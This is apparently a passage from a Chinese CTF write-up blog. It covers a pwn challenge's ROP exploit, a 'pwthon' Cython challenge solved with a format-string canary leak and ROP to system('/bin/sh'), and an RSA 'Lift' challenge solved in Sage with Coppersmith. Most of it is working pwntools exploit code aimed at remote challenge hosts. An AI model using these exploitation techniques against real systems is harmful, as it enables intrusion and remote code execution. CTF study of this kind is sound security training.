16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io=remote('59.110.231.185',35716)
#io=process('./xs1')

io.recvuntil(b'again!\n')

pop_rdi_ret=0x401353
bss=0x405098
start=0x4010D0
puts_got=0x404018
puts_plt=0x401080
leave_ret=0x4012E0
main=0x401264

payload=flat(pop_rdi_ret,puts_got,puts_plt,main)

io.send(payload)

io.recvuntil(b'number')
io.send(p32(0x12345678))

io.recvuntil(b'La')
payload=b'a'*0x30+p64(bss)+p64(leave_ret)
io.send(payload)

puts=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=puts-0x80970
print('libc_base:',hex(libc_base))

system=libc_base+0x4f420
binsh=libc_base+0x1d3d88

io.recvuntil(b'again!\n')
payload=flat(pop_rdi_ret,0x4050B8,system,b'cat flag')
io.send(payload)

#io.recvuntil(b'number')
io.send(p32(0x12345678))

#io.recvuntil(b'La')
payload=b'a'*0x30+p64(bss)+p64(leave_ret)
io.send(payload)

io.interactive()

pwthon

<strong>漏洞审计</strong>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import app

import os
import sys
import random
import string


def generate_random_string(length):
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for _ in range(length))

def create_random_folder():
    folder_name = "./tmp/" +generate_random_string(7)
    while True:
        if os.path.exists(folder_name):
            folder_name = generate_random_string(16)
        else:
            os.mkdir(folder_name)
            return folder_name

folder_name =  create_random_folder()


while True:
    choice = input("> ")
    if choice == '0':
        app.app_main(folder_name)
        pass
    elif choice == '1':
        app.calc(folder_name)
    elif choice == '2':
        app.load_arr(folder_name)
    else:
        print("Bye~")
        break

这份代码是 python 代码,其中没有出现明显漏洞,但 app 库是自定义库,可以在其中去找漏洞。

nc 靶机并尝试各个选项,发现 0 选项有 Give you a gift 字样,在库中搜索可以找到这个函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 _pyx_f_3app_Welcome2Pwnthon()
{
  __int64 v1; // rsi
  __int64 v2; // rdx
  char v3[264]; // [rsp+0h] [rbp-118h] BYREF
  unsigned __int64 v4; // [rsp+108h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, "Give you a gift %p\n", _pyx_f_3app_get_info);
  _pyx_f_3app_my_read(v3,0x100);
  if ( PyErr_Occurred() )
  {
    v1 = 2963LL;
    v2 = 60LL;
LABEL_7:
    _Pyx_AddTraceback("app.Welcome2Pwnthon", v1, v2, "app.pyx");
    return v4 - __readfsqword(0x28u);
  }
  __printf_chk(1LL, v3);
  _pyx_f_3app_my_read(v3, 0x180);
  if ( PyErr_Occurred() )
  {
    v1 = 2981LL;
    v2 = 62LL;
    goto LABEL_7;
  }
  putchar(10);
  if ( !Py_NoneStruct[0] )
    (*(void (**)(void))(Py_NoneStruct[1] + 48LL))();
  return v4 - __readfsqword(0x28u);
}

可以发现下面的 read 有溢出点,溢出空间充足,同时给了***_pyx_f_3app_get_info***变量的地址,可以计算出 elf_base。(经验证最后三位为 0,可以确认是 elfbase,同时与正常 c 语言的 0x56 或 0x55 开头不同,是 0x7f 开头)

<strong>利用</strong>

第一个 read 后面跟了一个 printf 输入内容,可以连带。

后面第一个 read 并不能泄露 canary,canary 位置在 read 截止位置加两字长,同时加一字长的位置没有写满,被截断无法连带输出。经尝试发现***__printf_chk***这个函数和 printf 机制相同,也就是说有格式化字符串漏洞。

本地没法 gdb,而且开启了 format 保护禁止’’%N$‘‘的形式,所以必须直接打出 n 个 %p。

没有经过测试,直接输入了过量个 %p 进行内存查看,发现刚才所说加一字长的位置写了一个 elf 相关地址。减掉 elfbase 可以发现等于 bss 段开头,所以说可以接收到这个地址(可以计算出来)再加一个 0x,然后接收 16 位转换成 16 进制即可得到 canary。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
io.recvuntil(b'>')
io.sendline(b'0')
io.recvuntil(b' 0x')
elf_base=int(io.recv(12),16)-0x68b0
print('elf_base:',hex(elf_base))
io.send('%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p')

io.recvuntil(str(hex(elf_base+0x16fc0)))
io.recvuntil(b'0x')

canary=int(io.recv(16),16)
print('canary:',hex(canary))

然后直接进行正常 rop 即可,输出 puts 的 got,计算出 libc 基地址之后直接先 ret(栈平衡)再 system("/bin/sh")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pop_rdi_ret=0x3f8f+elf_base
puts_got=0x16078+elf_base
puts_plt=0x3710+elf_base
vuln=0x99f0+elf_base

payload=flat(b'a'*0x108,canary,0xdeadc0de,pop_rdi_ret,puts_got,puts_plt,vuln)

io.sendline(payload)
io.recvline()

puts=u64(io.recv(6).ljust(8,b'\x00'))

libc_base=puts-0x80970
print('libc_base:',hex(libc_base))
system=libc_base+0x4F420
binsh=libc_base+0x1B3D88
ret=elf_base+0xA36B

io.recvuntil('gift')
io.sendline(b'JusticeUphold')
io.recvline()

payload=flat(b'a'*0x108,canary,0xdeadbeef,ret,pop_rdi_ret,binsh,system)

io.sendline(payload)

完整 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io=remote('59.110.231.185',35229)

io.recvuntil(b'>')
io.sendline(b'0')
io.recvuntil(b' 0x')
elf_base=int(io.recv(12),16)-0x68b0
print('elf_base:',hex(elf_base))
io.send('%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p')

io.recvuntil(str(hex(elf_base+0x16fc0)))
io.recvuntil(b'0x')

canary=int(io.recv(16),16)
print('canary:',hex(canary))

pop_rdi_ret=0x3f8f+elf_base
puts_got=0x16078+elf_base
puts_plt=0x3710+elf_base
vuln=0x99f0+elf_base

payload=flat(b'a'*0x108,canary,0xdeadc0de,pop_rdi_ret,puts_got,puts_plt,vuln)

io.sendline(payload)
io.recvline()

puts=u64(io.recv(6).ljust(8,b'\x00'))

libc_base=puts-0x80970
print('libc_base:',hex(libc_base))
system=libc_base+0x4F420
binsh=libc_base+0x1B3D88
ret=elf_base+0xA36B

io.recvuntil('gift')
io.sendline(b'JusticeUphold')
io.recvline()

payload=flat(b'a'*0x108,canary,0xdeadbeef,ret,pop_rdi_ret,binsh,system)

io.sendline(payload)

io.interactive()

Crypto

Lift

Hint 即 g, $E = g * e$,最外面一层类似 wiener 攻击,但是是一个变体,此时 $n = p^5 q$ ,用 wiener 攻击写不出来,因为 256/(1466) > 0.292 。此时考虑 n 的特殊形式就可以使用 coppersmith 方法直接求解小根得到 d。因为 $d * e = kp^4(p-1)(q-1) + 1$, 即 $de - 1 = 0 \mod p^4$ , 因为 n 是 $p^4$的整数倍,d 只有 256 比特,而 $p^4$ 大概 584 比特,因此可以直接求解小根得到 d,之后得到 phi 的整数倍,通过与 n 求最大公因数得到 $p^4$进而分解 n。

此时 E 与 phi 不互素,公因数为 g = 521 , 因此可以得到 $m^{521}$,然后在有限域上开 521 次根,组合所有可能的结果,检查 flag 格式最终得到 flag。

EXP sage9.5

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import long_to_bytes
hint = 251
n = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077
E = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039
c = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162
e = E//hint
g = hint

PR.<x> = PolynomialRing(Zmod(n))
f = e * x - 1
d = f.monic().small_roots(X = 2**256, beta = 4/6)[0]
p4 = ZZ(gcd(e*d - 1, n))
p = p4.nth_root(4)
q = n // p**5
assert p^5 * q == n

ce = pow(c,d,n)
Zp5 = Zmod(p^5)
Zq = Zmod(q)
cp = Zp5(ce)
cq = Zq(ce)
mps = cp.nth_root(g, all = True)
mqs = cq.nth_root(g, all = True)

for mp in mps:
    for mq in mqs:
        m = int(crt([ZZ(mp), ZZ(mq)], [p^5,q]))
        flag = long_to_bytes(m)
        if b"flag" in flag:
            print(flag)
Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计